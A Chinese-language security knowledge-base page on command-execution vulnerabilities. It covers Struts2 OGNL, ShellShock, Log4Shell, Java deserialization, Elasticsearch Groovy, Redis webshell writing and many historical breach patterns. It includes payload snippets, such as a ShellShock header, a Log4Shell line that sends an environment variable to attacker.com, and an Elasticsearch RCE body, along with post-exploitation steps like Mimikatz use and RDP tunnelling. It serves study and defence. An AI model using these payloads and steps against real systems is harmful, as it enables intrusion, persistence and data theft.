跳到主要内容

命令执行

命令执行漏洞利用的是应用层与操作系统命令解释器之间的边界失效:用户可控的输入经由不受约束的解释路径抵达命令执行层,操作系统以应用进程的权限执行攻击者指定的命令。 与 SQL 注入类似,问题的本质是数据被当作代码解析,区别在于解释器从数据库引擎换成了操作系统 shell。

成立前提

漏洞成立需要应用接收外部输入、存在可触发命令解释器的代码路径、且输入未经严格过滤。常见触发点:CGI 脚本将 HTTP 参数拼接进 shell 命令、Java 框架将请求内容作为表达式解析、反序列化端点还原攻击者构造的对象图时执行恶意方法、PHP 应用使用 system()/exec() 处理用户输入。

利用链路

Struts2/OGNL 表达式注入

Struts2 在处理请求参数时将值放入 OGNL 上下文,若框架版本存在 OGNL 表达式求值漏洞,攻击者可在参数中嵌入任意 Java 代码:

POST /search.action
Content-Type: %{(#_='multipart/form-data')....(#cmd='id')...}

利用工具自动探测,返回字段包括 Target / Whoami / WebPath / OS.Name / Java.Home,一步完成信息收集。

Debug 模式开启(struts.devMode=true)时无需针对特定 CVE:Struts2 会将 URL 中的 debug=command&expression= 参数直接交给 OGNL 解析,任意代码执行无需额外构造 payload。这是开发测试配置泄漏到生产环境的典型后果。

Struts2 触发后的标准操作序列:确认当前用户身份 → 枚举系统账号与监听端口 → 定位 web 应用配置文件读取数据库明文凭据(常见于 .properties / .xml)→ 连接数据库导出数据 → 以内网可达机器为跳板横向扫描。root 权限时直接添加系统账号并开放远程登录服务。

ShellShock(CVE-2014-6271)

CGI 脚本运行时,web 服务器将 HTTP Header 字段设置为环境变量。旧版 bash 在解析环境变量中的函数定义时,会继续执行函数体后的任意命令:

User-Agent: () { :; }; /bin/bash -c '<cmd>'

任何调用 CGI 脚本的请求均可触发,无需认证。邮件系统的 webmail CGI、打印服务、网络设备管理接口是集中爆发场景。

Java 反序列化

WebLogic、JBoss、Jenkins 等中间件的特定端点(T3 协议、/invoker/JMXInvokerServlet、HTTP API)在反序列化请求体时触发 gadget chain,执行任意命令。漏洞触发无需认证,网络可达即可利用。

Log4Shell(CVE-2021-44228)

Log4j2 的消息查找功能将日志内容中的 ${jndi:ldap://...} 表达式传给 JNDI 解析,触发对攻击者控制的远程服务器的 LDAP/RMI 查询,JVM 随后下载并实例化返回的 Java 类,在构造方法中执行任意代码。问题根源在于日志框架将用户可控字符串作为可执行表达式解析,而非仅作为数据记录。

logger.error("${jndi:ldap://${env:USERNAME}.attacker.com:8080/#Exploit}");

攻击面覆盖所有会被打印进日志的外部数据:请求参数、User-Agent、X-Forwarded-For 等请求头,以及经由消息队列二次转存的内容。触发协议不限于 LDAP,RMI 同样可执行,DNS 协议常用于探测阶段的外带确认。日志级别需达到系统配置的最低阈值(默认 .error)才能触发表达式解析。

攻击链:攻击者搭建恶意 LDAP 服务(marshalsec 等工具),响应 JNDI 查询时返回指向远程恶意 .class 文件的引用,目标 JVM 通过 URLClassLoader 下载并实例化该类,在构造方法中调用 Runtime.getRuntime().exec() 执行命令。

Apache 修复历经四个版本:2.15.0 修复初版后被绕过(CVE-2021-45046),2.16.0 修复后引入无限递归 DoS(CVE-2021-45105),2.17.0 修复后仍可在攻击者控制日志配置时利用(CVE-2021-44832),2.17.1 完成彻底修复。

PHP 代码执行

preg_replace()/e 修饰符、assert() 函数、call_user_func() 等将字符串作为代码执行。黑名单过滤 eval 时,assert() 常作为替代执行路径。文件包含配合日志写入也是常见的 RCE 链路。

CGI 参数直接拼接 shell 命令是更粗暴的变种:部分 PHP 脚本对 GET 参数不加过滤即传给 system()/exec(),攻击者只需在请求参数中插入命令分隔符即可执行任意命令。

Elasticsearch Groovy 脚本执行

Elasticsearch 早期版本的 /_search 接口支持在查询体中内嵌 Groovy 脚本,而 Groovy 可直接调用 Java 运行时接口执行系统命令:

POST /_search
{"script_fields":{"rce":{"script":"import java.lang.*;Runtime.getRuntime().exec('<cmd>')"}}}

CVE-2015-1427 将这条路径公开后,全网批量扫描随即跟进,大量未配置认证的 ES 实例在短时间内被批量探测。ES 默认绑定所有接口且不启用认证,暴露在公网的实例等同于无门槛 RCE。

Java Debug 端口暴露(JDWP)

Java 应用以调试模式启动时会开放 JDWP 调试端口(常见于 8000 端口)。JDWP 协议允许调试器向 JVM 注入任意字节码并触发执行,网络可达即可利用,无需任何凭据:

# 向调试端口发送 JDWP 握手并加载恶意类
JDWP-Handshake → 枚举线程 → 在任意线程上下文执行任意方法

开发联调配置误上线是此类漏洞的主因,P2P 金融、内部系统中出现频率较高,且进程权限往往是 root。

ImageMagick 图片处理命令注入

Web 应用调用 ImageMagick 处理用户上传图片时,若直接将文件名传给命令行,可通过构造特殊文件名触发命令执行:

文件名: exploit.jpg"|cmd"

ImageMagick 部分版本(ImageTragick,CVE-2016-3714)还允许通过图片内容中的 delegate 规则注入命令,无需依赖文件名拼接。图片上传接口在功能上看似低风险,实际上是攻击面之一。

客户端 ActiveX 控件溢出

部分安全设备或内部系统通过 IE 浏览器下发 ActiveX 控件实现功能扩展。控件若存在缓冲区溢出漏洞,攻击者构造恶意页面诱导用户访问,控制 EIP 后执行任意 shellcode。与服务端 RCE 不同,利用链路以社会工程学为入口,目标是客户端浏览器进程,最终影响访问恶意页面的员工机器。

IIS PUT/MOVE 写权限

IIS 若启用 WebDAV 且配置允许 PUT 方法,攻击者可直接上传文件:

PUT /shell.txt HTTP/1.1
(写入 ASP/ASPX 内容)

MOVE /shell.txt HTTP/1.1
Destination: /shell.aspx

PUT 上传 .txt 绕过扩展名限制,再通过 MOVE 改名为可执行后缀,等效于无需任何漏洞的直接 Webshell 写入。配置错误类问题,但影响等同于代码执行。

历史样本

Struts2 批量覆盖多行业:政府机关、运营商分支机构、证券/银行等金融系统、医疗机构均有大量 Struts2 部署且版本滞后。S2-005、S2-019、S2-045 等系列 EXP 公开后,跨行业批量沦陷成为常态。利用工具标准输出包含 Target / Whoami / WebPath / OS.Name / Java.Home 等字段,一次请求完成目标画像。同一批工具在政府门户和运营商内网系统上产出相同格式的结果,说明攻击者面对的是同质化的框架部署,而非针对性定制的攻击。

ShellShock 打邮件系统 CGI:大量企业自建邮件系统通过 CGI 脚本处理请求,补丁更新不及时,攻击者批量扫描 /cgi-bin/ 路径,一条 curl 命令完成命令执行。

WebLogic 反序列化无需认证:中间件管理端口对内网暴露,攻击者通过 SSRF 或内网访问直接发送反序列化 payload,获取服务器控制权并漫游内网。

PHP CMS 后台代码执行:后台模板编辑、插件上传等功能本质上是代码写入接口,配合弱口令或后台认证绕过即可实现 RCE。

Elasticsearch Groovy 全网扫描:CVE-2015-1427 公开后,攻击者通过全网扫描批量发现默认配置的 ES 实例——无认证、监听所有接口、Groovy 脚本未禁用,三个条件同时满足。一个 CVE 对应数量庞大的可攻击实例,且受害方往往是把 ES 当作后端存储的业务团队,对外部暴露面缺乏感知。

JBoss invoker 接口未授权访问:JBoss 的 /invoker/JMXInvokerServlet/jmx-console 等管理接口默认不配置访问控制,攻击者直接向该端点发送反序列化 payload,无需任何凭据即可获取服务器控制权。受影响场景集中在大宗商品交易平台、政府采购系统、运输管理局等部署了早期 JBoss 版本的机构。与 WebLogic T3 协议类似,问题根源是中间件将管理接口暴露在网络可达范围内且未启用认证。

Android 客户端 WebView JS 接口暴露:部分 Android 应用通过 addJavascriptInterface 向 WebView 内嵌页面注入 Java 对象,攻击者构造恶意页面诱导用户访问,在页面中调用注入对象反射执行 Runtime.getRuntime().exec() 完成远程代码执行。受影响的 APP 涵盖移动端浏览器和部分即时通讯客户端。触发路径完全在客户端,服务端无感知,漏洞影响所有访问恶意链接的用户设备。Android 4.2 以下版本无任何内置防护,高版本限制了接口注解,但旧版代码库延续使用的情况仍然普遍。

证券/金融行业 WebLogic 7002 端口:部分证券公司的 WebLogic 实例将 7002 管理端口暴露在内网或通过 DMZ 可达,攻击者向该端口发送 T3 协议反序列化 payload,直接控制服务器。金融行业对 Java 中间件的依赖程度高、升级周期长,加之内网安全边界假设导致管理端口缺乏额外防护,使此类攻击在证券交易系统中有集中出现的案例。

交通/关键基础设施 Java 反序列化横向扩展:铁路、交通运输部门的业务系统大量部署 JBoss/WebLogic 中间件,漏洞触发后攻击者不仅获取当前服务器权限,还通过读取配置文件发现 FileZilla、数据库连接等凭据,进一步控制内网中其他服务器。此类系统服务时间跨度长、补丁响应慢,部分实例从投产至漏洞发现期间从未重启或更新,成为横向移动的稳定立足点。

ThinkPHP 框架任意代码执行:ThinkPHP 特定版本对路由参数中的控制器名未做严格过滤,攻击者构造形如 index.php?s=/module/action/param/value 的请求即可触发框架内部的 call_user_func_array 调用执行任意函数。与 Struts2 OGNL 注入类似,问题根源是框架将 HTTP 参数作为代码路径的一部分解析,国内大量中小型网站和 CMS 使用 ThinkPHP 构建,漏洞公开后批量被 getshell。

CMS 模板/语言文件写入 Webshell:ECShop、KingCMS 等商业 CMS 的后台模板编辑功能允许直接修改 PHP 模板文件内容。攻击者在获得后台访问权限(弱口令或认证绕过)后,向模板或语言包文件中插入 PHP 代码片段,访问对应页面即触发执行。此路径绕过了上传限制,因为写入的不是新文件而是对现有合法文件的修改,WAF 和文件监控对此类攻击的检出率较低。

SAP 管理 Servlet 未授权命令执行:SAP NetWeaver 的 ConfigServlet 端点在部分版本和配置下无需认证,路径形如 /ctc/servlet/com.sap.ctc.util.ConfigServlet?param=...;EXECUTE_CMD;CMDLINE=cmd.exe /c <命令>,直接将命令行参数传递给操作系统执行。ERP 系统通常部署在内网,但部分企业的 SAP 实例通过 DMZ 或 VPN 可达,触发后攻击者可直接读取财务、供应链等核心业务数据。

MySQL UDF 提权链:SQL 注入到命令执行:当 MySQL 以较高权限运行且 secure_file_priv 未配置时,SQL 注入可链式转化为命令执行:通过 INTO OUTFILE 将 UDF 动态链接库(.dll/.so)写入 MySQL 插件目录,再执行 CREATE FUNCTION 注册后调用该函数执行系统命令。整条链路从一个普通 SQL 注入点出发,最终实现操作系统级命令执行,是注入漏洞影响边界向上突破的典型路径。

FFmpeg/媒体转码服务文件读取与 SSRF:视频平台将用户上传的视频文件交给 FFmpeg 转码时,若未校验文件内容,攻击者可上传构造的 HLS 播放列表(.m3u8),在 #EXTINF 片段中嵌入 concat: 协议 URI 指向本地文件或内网地址,FFmpeg 在处理时主动发出请求并将响应内容编码进输出流。利用方式不依赖命令行注入,而是滥用媒体处理器对协议的隐式支持,外部可见的仅是一次普通的文件上传操作。

浏览器自定义协议 handler 本地代码执行:国产浏览器(傲游、搜狗等)为扩展功能注册了私有协议(vbefile://se-extension://),但未对跨协议跳转施加同源限制。攻击者构造恶意网页,通过 location.hrefiframe 将用户导向私有协议页面,配合浏览器缓存写入恶意脚本后,由系统脚本解释器(wscript.exe)直接执行。整条链路在客户端完成,服务端无感知,受影响的是所有访问了恶意链接的该浏览器用户。

GPS/IoT 系统 Java 反序列化导致物理控制:部分车队管理、GPS 调度系统将 Java 中间件(JBoss/WebLogic)直接暴露在公网,反序列化漏洞触发后攻击者获取服务器管理员权限,进而连接后端 MSSQL 数据库枚举车辆信息,并可向车载终端下发 LED 显示屏内容等控制指令。此类系统与物理设备直连,漏洞影响不止于数据泄露,可直接影响运营中的设备行为。内网中注册车队数量往往以十计,单点突破即可横向覆盖整套调度网络。

Discuz 插件类型设置文件包含:Discuz 在处理验证码类型参数时,通过 explode(':') 分割后直接拼接插件路径加载 PHP 文件;若攻击者能修改 seccodedata[type] 配置(后台权限或 CSRF),可将路径指向任意可写目录下的文件触发代码执行。与模板写入不同,此路径利用的是框架插件加载逻辑对用户输入的过度信任,WAF 难以从请求层识别。

FCKeditor 旧版本地域限制绕过:FCKeditor 部分旧版本对上传接口按来源 IP 地域分区限制,国内 IP 被拦截而海外 IP 可正常上传任意后缀文件。攻击者通过切换 VPN 出口绕过该限制,直接上传可执行脚本并访问触发代码执行。地域型访问控制本质上是客户端属性检查,不构成真正的权限边界。

框架漏洞被黑产抢先利用:部分 Struts2 高危漏洞在安全研究人员发现时,受影响服务器上已留存历史木马文件,说明漏洞在公开披露前已被黑产掌握并静默利用。防御方的补丁窗口实际上是负数——不是漏洞公开后才有风险,而是公开后才被意识到风险早已存在。

内网 OA 集成旧版编辑器组件:大型企业内网 OA 系统在集成富文本编辑器时引入了版本极旧的 FCKeditor,上传接口允许任意后缀文件写入服务器。内网部署使该漏洞长期处于视野盲区,一旦突破边界即可直接利用,无需额外横移步骤。

服务进程以 root 权限运行省去提权:部分 Java 中间件服务直接以操作系统最高权限启动,命令执行漏洞触发后可直接添加系统账号、读取全局配置文件或开启远程登录服务,整条利用链无需任何提权操作。高权限进程是运维便利性与攻击收益之间的不对称放大器。

通用型行业系统单点漏洞批量覆盖:面向特定行业(教育、政务)的通用型平台存在上传接口过滤缺陷,所有部署了该产品的机构共享同一漏洞面。攻击者无需针对每个目标单独分析,只需确认产品指纹即可批量 getshell,覆盖范围与产品市场占有率正相关。

命令执行配合集团内网横移:大型央企集团的 DMZ 节点存在命令执行漏洞,突破后攻击者读取配置文件获取内网数据库和文件服务凭据,以 DMZ 为跳板向内网扩散,覆盖多个业务子系统。单点 RCE 在扁平化内网架构中的影响半径远超漏洞本身的评级。

邮件系统附件处理逻辑写入 Webshell:企业自建邮件系统的附件上传或模板处理路径过滤不严,通过登录账号上传特定格式文件后触发服务端代码执行,同时存在任意文件下载路径。邮件系统兼具内部可信地位与高访问频率,一旦被控对内网钓鱼和凭据收集具有天然优势。

政务系统框架版本生命周期远长于商业系统:政府主站及政务平台对 Struts2 等框架的补丁响应周期显著长于商业系统,已公开并有成熟 EXP 的漏洞在政务环境中存活时间往往以年计。框架版本滞后的根源不仅是技术债务,也包括采购周期、等保合规窗口等行政约束。

WebLogic UDDI Explorer 端点反序列化:WebLogic 的 /uddiexplorer/ 路径在特定版本下存在未授权反序列化入口,攻击者向该端点发送构造的请求即可触发命令执行并写入 Webshell。成功后通常连带读取数据库连接配置,进一步控制后端数据库。Java 反序列化漏洞在 WebLogic 体系中存在多个暴露面,UDDI Explorer 是其中隐蔽性较高的一条路径。

Struts2 文件上传重定向绕过:部分 Struts2 部署对上传接口配置了重定向拦截,但攻击者可通过将 Webshell 命名为系统已存在的合法文件名(如 login.jspindex.jsp)覆盖原文件,绕过基于新文件检测的防护逻辑。此技巧将写文件操作伪装成文件覆盖,绕过了仅针对新建文件路径的访问控制检查。

监控探针接口反引号命令注入:云平台或内部运维系统的探针检测接口(如 /api/monitor/probe)若将请求参数拼接进 shell 命令,攻击者可在参数值中嵌入反引号或 $() 子 shell 语法触发命令执行。此类接口对外暴露面小,但往往以服务账号权限运行,且缺乏针对 shell 元字符的过滤。

密码找回功能隐藏命令执行点:部分系统将密码找回逻辑实现为调用外部脚本或命令的接口,对用户提交的手机号、邮箱等参数未做 shell 字符转义,导致命令注入。此类漏洞位于认证前路径,无需登录即可触发,且功能本身的低使用频率使其长期处于安全审计盲区。

Discuz 升级接口 Webshell 写入:Discuz 论坛系统的在线升级功能若未及时修复,攻击者可通过构造升级请求将恶意文件写入 Web 目录。与后台模板写入不同,升级接口有时对权限验证不严,低权限账号甚至前台用户可直接触发。大量中小型社区站点将 Discuz 版本固定后不再更新,此漏洞长期在存量部署中有效。

PHPCMS 前台逻辑缺陷代码执行:PHPCMS 前台存在设计缺陷,攻击者无需后台权限即可通过构造特定请求触发服务端 PHP 代码执行并 Getshell。与后台模板写入路径不同,此攻击面在未登录状态下即可触发,绕过了所有基于后台认证的防护假设。

同一套行业源码批量覆盖多个省市同级机构:部分行业(气象、技术监督、交通)的业务系统由同一供应商提供统一软件包,各省市机构独立部署但使用相同版本和默认配置。单个漏洞验证成功后,攻击者仅需枚举同类机构域名即可批量复现,漏洞的实际影响范围与产品的行政分发范围直接挂钩。

系统权限下 net 命令受限时的绕过路径:部分 IIS 服务器以 system 权限运行应用进程,但安全加固禁用了 net user 等常用后渗透命令。攻击者转而通过修改远程桌面监听端口、替换系统辅助功能程序(如将 sethc.exe 替换为 cmd.exe)等方式建立持久化通道。高权限进程配合受限命令集,实质上只是延缓了后渗透进度,并未从根本上阻断攻击者。

负载均衡环境下 Webshell 漂移:在多节点负载均衡部署中,Webshell 写入某一节点后,后续请求可能被分发至其他未写入节点,导致访问 Webshell 时出现不稳定现象。攻击者通常需要向每个节点单独写入,或利用共享存储路径一次性覆盖所有节点。此现象暴露了集群环境中文件系统不一致对安全响应的影响。

SSRF 链接内网 Java 反序列化:部分系统存在服务端请求伪造漏洞,可用于探测内网并向 WebLogic 等中间件的管理端口(7001/7002)发送构造的反序列化请求,将外部无法直接访问的内网漏洞变为可利用路径。SSRF 与反序列化的组合将攻击面从公网暴露面延伸到内网隔离区,而防御侧通常仅在边界处做了访问控制,内网中间件本身缺乏独立防护。

运营商业务系统 C 段批量打包:运营商将多个业务系统(客服、会议、校园短信、终端管理)部署在同一 C 段,Struts2 漏洞扫描一次可覆盖整段,工具输出显示同一网段内多个系统的 Whoami 均为 root 或 system。同质化的技术栈和同一网段部署使单次扫描的产出远超单点攻击,C 段意义上的批量漏洞是运营商业务系统独特的暴露面形态。

工控/能耗监测系统命令执行:火力发电能耗监测、工业能源管理等生产系统部署了与普通业务系统同款的 Java Web 框架,Struts2 漏洞触发后攻击者不仅可读取敏感配置,还能以内网跳板查看 DCS 或 SCADA 相关系统的访问入口。此类系统的安全更新周期由生产运营决定而非 IT 部门,补丁窗口受限于停机计划,漏洞存活时间显著长于普通互联网系统。

安防监控设备(DVR/NVR)命令执行:网络视频录像机和硬盘录像机内置 Web 管理界面,部分设备固件对 CGI 接口参数未做过滤,攻击者通过构造请求可直接执行系统命令。与服务器不同,此类设备运行嵌入式 Linux 且无法安装安全软件,漏洞一旦触发影响持续至设备替换。摄像头设备通常直连公网且身份证明极弱,被控后可作为内网入口或组建僵尸网络。

WiFi 路由器管理接口批量命令执行:面向商业场所部署的无线控制器或 AP 设备,管理后台对参数校验不足,攻击者通过弱口令或未授权接口向所有受管设备批量执行命令,获取各商家 WiFi 接入点的控制权并导出明文密码。单点突破控制器即可覆盖所辖全部设备,漏洞影响范围等于设备管理平台的客户规模。

国产 CMS(phpok/DedeCMS)前台任意代码执行:phpok 等国产开源 CMS 前台存在参数过滤缺陷,攻击者无需登录即可通过构造特定请求写入或执行代码。此类漏洞公开后研究者直接在官方 Demo 验证可行,受影响的站点包括官方演示站本身——说明漏洞修复的优先级甚至低于官方展示。使用相同 CMS 构建的大量中小型站点同时面临影响。

证券/金融网上交易安全控件客户端溢出:部分证券公司要求客户安装 ActiveX 控件或本地安全控件以增强交易安全性,但控件自身存在缓冲区溢出漏洞,攻击者构造恶意数据触发溢出后可在客户本地执行任意代码。安全增强组件本身成为攻击入口,受影响的是所有安装了该控件的客户终端,覆盖面与该券商的活跃用户规模挂钩。

旅馆/住宿管理系统命令执行接入公安内网:旅馆住宿实名登记系统通过专用接口与公安内网对接上报入住数据,系统本身运行在公网但持有连接内网的凭据。命令执行漏洞触发后,攻击者不仅可读取入住人员信息,还可通过数据库配置文件或内网接口进一步访问公安业务系统。此类系统由第三方软件厂商统一供货,通用漏洞在全国部署站点上同时有效。

防火墙/安全设备自身预置后门:部分商业防火墙硬件设备被发现在固件层面预置了调试账号或隐藏后门接口,认证绕过后攻击者可直接控制设备并修改策略或截获流量。安全设备通常处于网络信任链的高权限位置,被控后对其保护的所有内网系统构成威胁,且设备本身往往不在常规安全审计范围内。此类后门有时以"技术支持"接口形式存在,难以通过功能测试发现。

移动端客户端 RCE(非 WebView 路径):部分 Android 客户端在处理本地 Socket 服务或 Intent 调用时存在命令注入,攻击者通过构造恶意 URI 或与客户端通信的本地请求直接触发命令执行,不依赖 WebView JS 接口。与 addJavascriptInterface 路径不同,此类漏洞无需诱导用户访问网页,通过应用间通信或本地监听端口即可触发,且在 Android 高版本下同样有效。

高速公路电子收费系统反序列化横向扩展:高速电子收费、苏通卡等公路业务系统部署 JBoss/WebLogic 中间件,漏洞触发后攻击者获取服务器控制权,连带读取苏通卡账户数据,进而探测内网收费核心系统。此类系统的业务连续性要求使补丁周期极长,且公路收费系统与财务结算直接挂钩,数据篡改影响直接延伸到资金安全层面。

局域网即时通讯协议任意程序执行:部分桌面 IM 客户端在处理局域网内其他用户发来的消息或文件传输请求时,对路径或协议字段校验不足,攻击者在同一局域网内发送构造的请求即可在对端触发任意可执行文件加载。此类漏洞无需任何服务端配合,内网中任意一台被控机器即可向同网段其他用户发起攻击,是办公内网横向扩散的低成本路径。

mod_python 试用账号提权至 Getshell:云平台或 PaaS 环境提供 Python 脚本执行功能,用户通过试用账号上传 mod_python 脚本,利用框架层对脚本执行权限的隔离不足,脚本中的系统调用可直接在宿主机上执行命令。PaaS 账号隔离失效将多租户环境中的单个试用账号变为完整主机控制权,影响面涵盖同一宿主机上的所有租户数据。

Jenkins 匿名访问脚本执行:CI/CD 服务对外暴露且未启用认证时,任何人可访问【脚本命令执行】页面,在其中输入 Groovy 代码调用 "cmd".execute() 即可在服务器上运行任意命令。Jenkins 常以高权限账号运行,且部署在内网核心区域,被控后可读取构建脚本中的凭据、源代码仓库配置及内网服务连接信息。

WebLogic 控制台暴露凭据部署 WAR 包:WebLogic 管理控制台对外可达,且源码或配置文件中泄露了控制台账号密码,攻击者登录后直接通过部署功能上传包含 Webshell 的 WAR 包。与反序列化路径不同,此路径完全依赖合法的管理功能,操作记录会出现在正常部署日志中,安全监控难以区分攻击行为与运维行为。凭据泄露是入口,控制台暴露是放大器。

Redis 未授权访问写 Webshell:Redis 端口对外暴露且无认证保护时,攻击者通过 CONFIG SET dirCONFIG SET dbfilename 将 Redis 持久化目录指向 Web 根路径,再向特定 key 写入 PHP 代码,执行 BGSAVE 后文件落地为可访问的 Webshell。Redis 本身无命令执行能力,但其写文件机制使任何可达实例等同于任意文件写入原语。

ZIP 解压路径穿越上传 Webshell:部分 CMS 的头像或附件上传功能对 ZIP 压缩包解压后仅校验当前目录下文件后缀,未递归遍历子目录。攻击者在 ZIP 中嵌套子目录,将 PHP 文件放在子目录内,解压完成后子目录中的恶意文件绕过后缀检查保留在 Web 目录中。此类漏洞将文件类型验证的范围错误当作安全边界,是上传逻辑中覆盖不完整的典型形态。

VPN/SSL 设备证书接口命令注入:商业 SSL VPN 设备的证书下载或安装接口将用户提交的参数直接拼接进 shell 命令,攻击者构造包含命令分隔符的请求触发执行。安全接入设备通常以 root 权限运行且面向公网暴露,一旦被控攻击者不仅获取服务器权限,还可读取 VPN 用户认证凭据,进而访问企业内网。防守侧对安全设备自身的漏洞往往缺乏扫描覆盖。

公积金/考试系统 RCE 直连核心业务数据库:住房公积金管理、人事考试等民生类系统存在命令执行漏洞,读取配置文件后发现数据库暴露在公网且可直接连接,存储着大量居民个人信息及缴费记录。部分系统后台还支持对考试成绩、考场分配等业务数据直接修改,命令执行的影响不止于信息泄露,还延伸到业务数据完整性层面。

保险出单系统 WebLogic 反序列化批量触发:保险行业大量使用基于 WebLogic 的出单、核保系统,反序列化漏洞触发后攻击者可读取投保人姓名、身份证号、银行卡号、车牌及保单号等高价值数据。此类系统往往由保险公司各分支机构独立部署,漏洞验证路径相同、数据格式一致,单一利用脚本可在多个分支系统上复现。保险数据的高金融价值使其成为反序列化漏洞的重点受害行业。

同服务器多站点命令执行横向覆盖:单一物理服务器或容器绑定多个业务子站,针对任意一个子站触发命令执行后,攻击者读取服务器上的配置文件即可获取所有共部署站点的数据库凭据和路径,进而向其他子站写入 Webshell。共享主机环境中的安全隔离假设在此完全失效——单个薄弱站点的沦陷等价于同机所有业务的沦陷。

HTTP 隧道代理穿透内网远程桌面:反序列化或命令执行获取初始 Webshell 后,目标服务器的远程桌面端口仅在内网可达,攻击者将 HTTP 隧道代理脚本上传至 Web 目录,通过 HTTP 请求转发将内网 RDP 端口映射到本地,完成对内网服务器的完整桌面登录。此技术将 Webshell 的文件操作能力转化为稳定的交互式远程访问通道,绕过了基于网络层的访问控制。

服务重启窗口绕过主机安全软件限制:部分服务器安装了安全防护软件,导致 net user /add 等后渗透命令被拦截。攻击者通过命令执行触发服务器重启,在系统重启后安全软件尚未完全加载的窗口期内执行账号添加等操作。此技术将操作系统启动时序作为安全软件的盲点加以利用,安全加固措施在启动序列上的覆盖缺口构成可预测的攻击窗口。

快播类媒体插件 JS 接口客户端代码执行:部分桌面视频播放器通过浏览器插件对网页注入可调用的 Java 对象,网页端 JavaScript 可通过该对象反射调用 Runtime.getRuntime().exec() 执行任意系统命令。攻击者构造恶意页面诱导用户访问即可触发,无需任何服务端配合,影响所有安装了该播放器插件并访问了恶意链接的用户。与 Android WebView 路径不同,此路径发生在桌面浏览器进程中,操作系统层面无额外沙箱约束。

SVN 源码泄露辅助命令执行路径探测:部分 Java Web 应用的 SVN 目录(.svn/)对外暴露,攻击者通过 SVN 泄露下载完整源代码,在本地审计后精确定位存在命令执行的路由和参数名,再构造针对性 payload 触发漏洞。泄露的源码同时包含数据库连接串和内网服务地址,使后渗透阶段无需盲猜。SVN 泄露本身常被忽视,但在 Struts2 或反序列化场景中,它将白盒精度引入外部测试,漏洞触发效率显著高于纯黑盒扫描。

JBoss 删除管理页面但服务端口仍存活:部分运维人员意识到 JBoss 管理后台(/jmx-console/web-console)的风险后,通过删除 WAR 包或配置重定向屏蔽了可见页面,但 /invoker/JMXInvokerServlet 端点所对应的 Servlet 仍然注册在容器中、端口可达。攻击者向该端点直接发送反序列化 payload,绕过了基于页面可见性的安全判断。删除 UI 入口与关闭攻击面是两件不同的事,运维侧对后者缺乏感知是此类遗留漏洞持续有效的根本原因。

Mimikatz 内存凭据提取横向扩展:在 Windows 服务器上获取高权限 Webshell 后,攻击者上传 Mimikatz 从 LSASS 进程内存中提取明文密码或 NTLM 哈希,获取服务器管理员及域账号凭据,再以这些凭据横向登录内网其他 Windows 机器。此路径将单点 RCE 直接转化为域级别的凭据控制,不依赖额外漏洞利用,且内存凭据提取操作完全在合法系统工具层面发生,行为检测难度高于网络扫描类横向移动。

第三方支付平台多子站单点 WAR 覆盖:互联网支付机构将主站及各业务子站的 WAR 包统一部署在同一 WebLogic 实例下,配置文件中绑定了全部子域名。命令执行漏洞触发后,攻击者一次 Webshell 可读取所有子站数据库连接串并向任意子站写入后门,单点突破等价于全业务线沦陷。此场景中集中化部署带来的运维便利与安全隔离需求形成直接冲突——子站间没有任何进程或文件系统隔离,攻击者视角下它们是同一台机器。

产权交易/股权系统 JBoss 直通 CRM 与 OA:产权交易中心、股权管理机构的业务系统部署 JBoss 中间件,漏洞触发后攻击者通过反弹 shell 进入内网,发现同一内网中还存在 CRM 和 OA 系统,通过配置文件中的数据库凭据直接连接后者。此类机构存储公司股权数据、员工合同及客户信息,数据价值与普通业务系统相比显著更高,而安全投入与一般政企机构无异,漏洞影响面与数据敏感度之间的落差极为突出。

在线教育 SaaS 平台漏洞批量覆盖全量高校:面向高校提供慕课或通识课服务的在线教育平台将同一套 Struts2 应用以 SaaS 模式交付,各高校使用独立子域名但共用同一代码库。漏洞验证后攻击者通过搜索引擎构造特定路径关键字枚举同类部署站点,单一漏洞在所有接入该平台的高校同时有效。此类攻击面的规模由教育平台的市占率而非单个高校的规模决定,且高校方无法自主修复——修复窗口完全取决于平台供应商的响应速度。

考试管理系统 RCE 延伸至成绩数据完整性威胁:人事考试、住院医师培训考核等系统存在命令执行漏洞,通过配置文件读取到数据库连接串后发现数据库暴露在公网且可直连。数据库中不仅存储大量考生个人信息,还包含可直接修改的考试成绩、考场分配及报名状态字段。漏洞影响不止于数据泄露,已延伸至业务数据的可篡改性,后者对考试公正性的破坏通常比信息泄露更难被发现和溯源。

税务发票查询系统 WebLogic + HTTP 隧道穿透内网桌面:地方税务局的发票查询系统部署 WebLogic,反序列化漏洞触发后攻击者写入 Webshell,发现远程桌面端口仅内网可达,随即上传 HTTP 隧道工具(如 reGeorg/reDuh)通过 Webshell 将内网 RDP 端口转发至本地,完成对税务内网服务器的图形化登录。整条链路中,Webshell 既是命令执行终端,也是网络协议的中继器,将应用层漏洞转化为完整的网络访问通道,绕过了基于 IP 的网络访问控制策略。

P2P/互联网金融平台 Struts2 高并发数据暴露:P2P 网贷、互联网金融平台大量使用 Struts2 构建业务系统,平台上实时流转着借款人征信信息、银行卡绑定记录及交易流水。此类平台对数据库的高并发访问需求使其倾向于将数据库端口开放在内网广域段,命令执行漏洞触发后读取配置文件可直连数据库,泄露规模与平台活跃用户数正相关。金融数据的二次利用价值(征信欺诈、撞库)使这类漏洞的实际危害远超单次信息泄露事件。

Webshell 被黑产抢占形成跑马场:部分服务器在安全研究人员发现漏洞时,Web 目录中已存在多个来历不明的 Webshell,文件时间戳早于研究人员测试时间,说明同一漏洞已被黑产在前期静默植入后门。此类服务器被称为"跑马场",多个攻击者的 Webshell 共存,互相覆盖或共存。对防守方的启示是:漏洞修复不能止于关闭漏洞点,还需排查已写入文件和已建立的持久化通道,否则补丁后服务器仍处于被控状态。

运维自动化脚本硬编码默认密码批量覆盖所有节点:部分企业通过统一的服务器初始化脚本(setup.sh 等)为所有机器配置相同的运维账号和密码,脚本中明文存储凭据。攻击者通过 Struts2 等漏洞获取初始 Webshell 后读取脚本文件,以同一套凭据 SSH 登录到企业全量服务器。运维自动化带来的一致性在此变为攻击者的放大器:单点突破直接映射为全域覆盖,且每台机器上的登录行为均以合法运维账号呈现,难以与正常操作区分。

备份目录与历史文件泄露数据库凭据:服务器 /backup/ 目录或用户家目录下的 .bash_history.mysql_history 等历史文件中记录着曾经执行的数据库连接命令,包含明文账号密码和主从复制配置。攻击者在获取 Webshell 后遍历这些路径即可直接提取凭据,无需破解。源代码备份同时暴露 Cookie 加密密钥,使攻击者可伪造管理员身份进入后台,将文件系统访问转化为业务系统控制权。

